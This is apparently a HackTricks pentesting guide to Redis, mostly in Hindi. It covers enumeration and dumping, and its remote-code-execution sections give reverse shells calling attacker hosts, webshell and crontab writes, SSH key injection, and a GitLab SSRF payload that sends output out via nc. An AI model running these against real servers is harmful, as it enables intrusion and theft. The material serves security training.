# 6379 - Pentesting Redis
{{#include ../banners/hacktricks-training.md}}
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking
**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights
**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
## Basic Information
From [the docs](https://redis.io/topics/introduction): Redis एक ओपन सोर्स (BSD लाइसेंस प्राप्त), इन-मेमोरी **डेटा संरचना भंडार** है, जिसका उपयोग **डेटाबेस**, कैश और संदेश ब्रोकर के रूप में किया जाता है।
By default Redis uses a plain-text based protocol, but you have to keep in mind that it can also implement **ssl/tls**. Learn how to [run Redis with ssl/tls here](https://fossies.org/linux/redis/TLS.md).
**Default port:** 6379
```
PORT STATE SERVICE VERSION
6379/tcp open redis Redis key-value store 4.0.9
```
## Automatic Enumeration
कुछ स्वचालित उपकरण जो एक redis उदाहरण से जानकारी प्राप्त करने में मदद कर सकते हैं:
```bash
nmap --script redis-info -sV -p 6379
msf> use auxiliary/scanner/redis/redis_server
```
## मैनुअल एन्यूमरेशन
### बैनर
Redis एक **पाठ आधारित प्रोटोकॉल** है, आप बस **एक सॉकेट में कमांड भेज सकते हैं** और लौटाए गए मान पढ़ने योग्य होंगे। यह भी याद रखें कि Redis **ssl/tls** का उपयोग करके चल सकता है (लेकिन यह बहुत अजीब है)।
एक नियमित Redis उदाहरण में आप बस `nc` का उपयोग करके कनेक्ट कर सकते हैं या आप `redis-cli` का भी उपयोग कर सकते हैं:
```bash
nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
```
पहला कमांड जिसे आप आजमा सकते हैं वह है **`info`**। यह **Redis इंस्टेंस की जानकारी के साथ आउटपुट वापस कर सकता है** **या कुछ** इस प्रकार का आउटपुट लौटाया जा सकता है:
```
-NOAUTH Authentication required.
```
इस अंतिम मामले में, इसका मतलब है कि **आपको Redis उदाहरण तक पहुँचने के लिए मान्य क्रेडेंशियल्स की आवश्यकता है**।
### Redis प्रमाणीकरण
**डिफ़ॉल्ट रूप से** Redis को **बिना क्रेडेंशियल्स** के एक्सेस किया जा सकता है। हालाँकि, इसे **केवल पासवर्ड, या उपयोगकर्ता नाम + पासवर्ड** का समर्थन करने के लिए **कॉन्फ़िगर** किया जा सकता है।\
आप _**redis.conf**_ फ़ाइल में `requirepass` पैरामीटर के साथ **एक पासवर्ड सेट** कर सकते हैं **या अस्थायी** जब तक सेवा को पुनरारंभ नहीं किया जाता है, इसे कनेक्ट करके और चलाकर: `config set requirepass p@ss$12E45`।\
इसके अलावा, _**redis.conf**_ फ़ाइल के अंदर `masteruser` पैरामीटर में **एक उपयोगकर्ता नाम** कॉन्फ़िगर किया जा सकता है।
> [!NOTE]
> यदि केवल पासवर्ड कॉन्फ़िगर किया गया है तो उपयोगकर्ता नाम जोड़ा गया है "**default**"।\
> इसके अलावा, ध्यान दें कि यह **बाहरी रूप से पता लगाने का कोई तरीका नहीं है** कि क्या Redis को केवल पासवर्ड या उपयोगकर्ता नाम + पासवर्ड के साथ कॉन्फ़िगर किया गया था।
ऐसे मामलों में आपको **Redis के साथ इंटरैक्ट करने के लिए मान्य क्रेडेंशियल्स खोजने की आवश्यकता होगी** ताकि आप इसे [**brute-force**](../generic-hacking/brute-force.md#redis) करने की कोशिश कर सकें।\
**यदि आपने मान्य क्रेडेंशियल्स पाए हैं तो आपको कनेक्शन स्थापित करने के बाद सत्र को प्रमाणित करने की आवश्यकता है** कमांड के साथ:
```bash
AUTH
```
**मान्य क्रेडेंशियल्स** का उत्तर दिया जाएगा: `+OK`
### **प्रमाणीकृत गणना**
यदि Redis सर्वर **गुमनाम कनेक्शनों** की अनुमति देता है या यदि आपने मान्य क्रेडेंशियल्स प्राप्त कर लिए हैं, तो आप निम्नलिखित **कमांड्स** का उपयोग करके सेवा के लिए गणना प्रक्रिया शुरू कर सकते हैं:
```bash
INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]
```
**अन्य Redis कमांड** [**यहां मिल सकते हैं**](https://redis.io/topics/data-types-intro) **और** [**यहां**](https://lzone.de/cheat-sheet/Redis)**.**
ध्यान दें कि **एक उदाहरण के Redis कमांड को नामित किया जा सकता है** या _redis.conf_ फ़ाइल में हटा दिया जा सकता है। उदाहरण के लिए, यह पंक्ति कमांड FLUSHDB को हटा देगी:
```
rename-command FLUSHDB ""
```
Redis सेवा को सुरक्षित रूप से कॉन्फ़िगर करने के बारे में अधिक जानकारी यहाँ: [https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04)
आप **`monitor`** कमांड के साथ निष्पादित Redis कमांड को **वास्तविक समय में मॉनिटर** कर सकते हैं या **`slowlog get 25`** के साथ शीर्ष **25 सबसे धीमे प्रश्न** प्राप्त कर सकते हैं।
यहाँ अधिक Redis कमांड के बारे में और दिलचस्प जानकारी प्राप्त करें: [https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis)
### **डेटाबेस डंपिंग**
Redis के अंदर **डेटाबेस 0 से शुरू होने वाले नंबर हैं**। आप देख सकते हैं कि क्या कोई भी `info` कमांड के आउटपुट में "Keyspace" खंड के अंदर उपयोग किया गया है:
.png>)
या आप बस सभी **कीस्पेस** (डेटाबेस) प्राप्त कर सकते हैं:
```
INFO keyspace
```
इस उदाहरण में **डेटाबेस 0 और 1** का उपयोग किया जा रहा है। **डेटाबेस 0 में 4 कीज़ हैं और डेटाबेस 1 में 1** है। डिफ़ॉल्ट रूप से Redis डेटाबेस 0 का उपयोग करेगा। उदाहरण के लिए डेटाबेस 1 के लिए डंप करने के लिए आपको करना होगा:
```bash
SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET
[ ... Get Key ... ]
```
यदि आप `GET ` चलाते समय निम्नलिखित त्रुटि प्राप्त करते हैं `-WRONGTYPE Operation against a key holding the wrong kind of value` तो इसका कारण यह हो सकता है कि कुंजी एक स्ट्रिंग या पूर्णांक के अलावा कुछ और हो और इसे प्रदर्शित करने के लिए एक विशेष ऑपरेटर की आवश्यकता होती है।
कुंजी के प्रकार को जानने के लिए, `TYPE` कमांड का उपयोग करें, नीचे सूची और हैश कुंजी के लिए उदाहरण है।
```bash
TYPE
[ ... Type of the Key ... ]
LRANGE 0 -1
[ ... Get list items ... ]
HGET
[ ... Get hash item ... ]
# If the type used is weird you can always do:
DUMP
```
**npm के साथ डेटाबेस डंप करें**[ **redis-dump**](https://www.npmjs.com/package/redis-dump) **या पायथन** [**redis-utils**](https://pypi.org/project/redis-utils/)
अनुभवी हैकर्स और बग बाउंटी शिकारियों के साथ संवाद करने के लिए [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) सर्वर में शामिल हों!
**हैकिंग अंतर्दृष्टि**\
हैकिंग के रोमांच और चुनौतियों में गहराई से जाने वाले सामग्री के साथ संलग्न हों
**वास्तविक समय हैक समाचार**\
वास्तविक समय समाचार और अंतर्दृष्टियों के माध्यम से तेज़-तर्रार हैकिंग दुनिया के साथ अद्यतित रहें
**नवीनतम घोषणाएँ**\
नवीनतम बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफ़ॉर्म अपडेट के साथ सूचित रहें
आज ही [**Discord**](https://discord.com/invite/N3FrSbmwdy) पर हमारे साथ जुड़ें और शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!
## Redis RCE
### इंटरएक्टिव शेल
[**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server) स्वचालित रूप से Redis(<=5.0.5) में एक इंटरएक्टिव शेल या एक रिवर्स शेल प्राप्त कर सकता है।
```
./redis-rogue-server.py --rhost --lhost
```
### PHP Webshell
Info from [**here**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html). आपको **वेब साइट फ़ोल्डर** का **पथ** पता होना चाहिए:
```
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test ""
OK
10.85.0.52:6379> save
OK
```
यदि वेबशेल एक्सेस अपवाद है, तो आप बैकअप के बाद डेटाबेस को खाली कर सकते हैं और फिर से प्रयास कर सकते हैं, याद रखें कि डेटाबेस को पुनर्स्थापित करना है।
### टेम्पलेट वेबशेल
जैसे पिछले अनुभाग में, आप कुछ html टेम्पलेट फ़ाइल को भी ओवरराइट कर सकते हैं जिसे एक टेम्पलेट इंजन द्वारा व्याख्यायित किया जाएगा और एक शेल प्राप्त कर सकते हैं।
उदाहरण के लिए, [**इस लेख**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/) का पालन करते हुए, आप देख सकते हैं कि हमलावर ने **nunjucks टेम्पलेट इंजन** द्वारा व्याख्यायित एक **rev shell in an html** इंजेक्ट किया:
```javascript
{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}
```
> [!WARNING]
> ध्यान दें कि **कई टेम्पलेट इंजन टेम्पलेट्स को** **मेमोरी** में कैश करते हैं, इसलिए यदि आप उन्हें ओवरराइट करते हैं, तो नया **नहीं चलेगा**। इन मामलों में, या तो डेवलपर ने स्वचालित रीलोड सक्रिय रखा है या आपको सेवा पर DoS करना होगा (और उम्मीद करनी होगी कि इसे स्वचालित रूप से फिर से लॉन्च किया जाएगा)।
### SSH
उदाहरण [यहां से](https://blog.adithyanak.com/oscp-preparation-guide/enumeration)
कृपया ध्यान दें कि **`config get dir`** का परिणाम अन्य मैन्युअल रूप से एक्सप्लॉइट कमांड के बाद बदल सकता है। सुझाव है कि इसे Redis में लॉगिन करने के तुरंत बाद पहले चलाएं। **`config get dir`** के आउटपुट में आप **redis उपयोगकर्ता** का **home** पा सकते हैं (आमतौर पर _/var/lib/redis_ या _/home/redis/.ssh_) और यह जानकर आप जानते हैं कि आप `authenticated_users` फ़ाइल को ssh **उपयोगकर्ता redis** के माध्यम से एक्सेस करने के लिए कहां लिख सकते हैं। यदि आप अन्य मान्य उपयोगकर्ता का home जानते हैं जहां आपके पास लिखने की अनुमति है, तो आप इसका भी दुरुपयोग कर सकते हैं:
1. अपने पीसी पर एक ssh सार्वजनिक-निजी कुंजी जोड़ी उत्पन्न करें: **`ssh-keygen -t rsa`**
2. सार्वजनिक कुंजी को एक फ़ाइल में लिखें: **`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`**
3. फ़ाइल को Redis में आयात करें: **`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`**
4. Redis सर्वर पर **authorized_keys** फ़ाइल में सार्वजनिक कुंजी को सहेजें:
```
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
```
5. अंत में, आप निजी कुंजी के साथ **redis सर्वर** पर **ssh** कर सकते हैं: **ssh -i id_rsa redis@10.85.0.52**
**यह तकनीक यहां स्वचालित है:** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit)
### Crontab
```
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK
```
अंतिम उदाहरण **Ubuntu** के लिए है, **Centos** के लिए, उपरोक्त कमांड होनी चाहिए: `redis-cli -h 10.85.0.52 config set dir /var/spool/cron/`
यह विधि बिटकॉइन कमाने के लिए भी उपयोग की जा सकती है :[yam](https://www.v2ex.com/t/286981#reply14)
### Redis मॉड्यूल लोड करें
1. [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand) से निर्देशों का पालन करते हुए आप **मनमाने कमांड निष्पादित करने के लिए एक redis मॉड्यूल संकलित कर सकते हैं**।
2. फिर आपको **संकलित** मॉड्यूल **अपलोड** करने का कोई तरीका चाहिए।
3. **रनटाइम पर अपलोड किए गए मॉड्यूल को लोड करें** `MODULE LOAD /path/to/mymodule.so`
4. **लोड किए गए मॉड्यूल की सूची बनाएं** यह जांचने के लिए कि इसे सही तरीके से लोड किया गया था: `MODULE LIST`
5. **कमांड निष्पादित करें**:
```
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
```
6. जब चाहें मॉड्यूल को अनलोड करें: `MODULE UNLOAD mymodule`
### LUA सैंडबॉक्स बायपास
[**यहां**](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html) आप देख सकते हैं कि Redis कमांड **EVAL** का उपयोग **Lua कोड सैंडबॉक्स** करने के लिए करता है। लिंक किए गए पोस्ट में आप देख सकते हैं **कैसे इसका दुरुपयोग करें** **dofile** फ़ंक्शन का उपयोग करके, लेकिन [स्पष्ट रूप से](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) यह अब संभव नहीं है। किसी भी तरह, यदि आप **Lua** सैंडबॉक्स को **बायपास** कर सकते हैं तो आप सिस्टम पर **मनमाने** कमांड निष्पादित कर सकते हैं। इसके अलावा, उसी पोस्ट से आप कुछ **विकल्प देख सकते हैं जो DoS का कारण बनते हैं**।
**LUA से बचने के लिए कुछ CVEs**:
- [https://github.com/aodsec/CVE-2022-0543](https://github.com/aodsec/CVE-2022-0543)
### मास्टर-गुलाम मॉड्यूल
मास्टर redis सभी ऑपरेशन स्वचालित रूप से गुलाम redis पर समन्वयित होते हैं, जिसका अर्थ है कि हम कमजोर redis को एक गुलाम redis के रूप में मान सकते हैं, जो मास्टर redis से जुड़ा है जिसे हम नियंत्रित करते हैं, फिर हम अपने redis पर कमांड दर्ज कर सकते हैं।
```
master redis : 10.85.0.51 (Hacker's Server)
slave redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld
```
## SSRF talking to Redis
यदि आप **स्पष्ट पाठ** अनुरोध **Redis** को भेज सकते हैं, तो आप **इसके साथ संवाद कर सकते हैं** क्योंकि Redis अनुरोध को पंक्ति दर पंक्ति पढ़ेगा और केवल उन पंक्तियों के लिए त्रुटियों के साथ प्रतिक्रिया देगा जिन्हें वह नहीं समझता:
```
-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'
```
इसलिए, यदि आप एक वेबसाइट में **SSRF vuln** पाते हैं और आप कुछ **headers** (शायद एक CRLF vuln के साथ) या **POST parameters** को **control** कर सकते हैं, तो आप Redis को मनमाने कमांड भेजने में सक्षम होंगे।
### उदाहरण: Gitlab SSRF + CRLF से Shell
**Gitlab11.4.7** में एक **SSRF** सुरक्षा दोष और एक **CRLF** खोजा गया था। **SSRF** सुरक्षा दोष **नया प्रोजेक्ट बनाने के लिए URL से प्रोजेक्ट आयात करने की कार्यक्षमता** में था और इसने \[0:0:0:0:0:ffff:127.0.0.1] के रूप में मनमाने IPs तक पहुंचने की अनुमति दी (यह 127.0.0.1 तक पहुंचता है), और **CRLF** vuln का शोषण केवल **URL** में %0D%0A वर्ण जोड़कर किया गया था।
इसलिए, **gitlab** से **queues** का प्रबंधन करने वाले Redis उदाहरण से बात करने के लिए इन सुरक्षा दोषों का **दुरुपयोग करना संभव था** और उन queues का **दुरुपयोग करके कोड निष्पादन प्राप्त करना**। Redis queue abuse payload है:
```
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
```
और **URL encode** अनुरोध **SSRF** और **CRLF** का दुरुपयोग करके `whoami` निष्पादित करने और आउटपुट को `nc` के माध्यम से वापस भेजने का तरीका है:
```
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
```
_किसी कारण से (जैसा कि_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _के लेखक के लिए जहाँ से यह जानकारी ली गई थी) शोषण `git` स्कीम के साथ काम करता है और `http` स्कीम के साथ नहीं।_
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking
**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights
**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
{{#include ../banners/hacktricks-training.md}}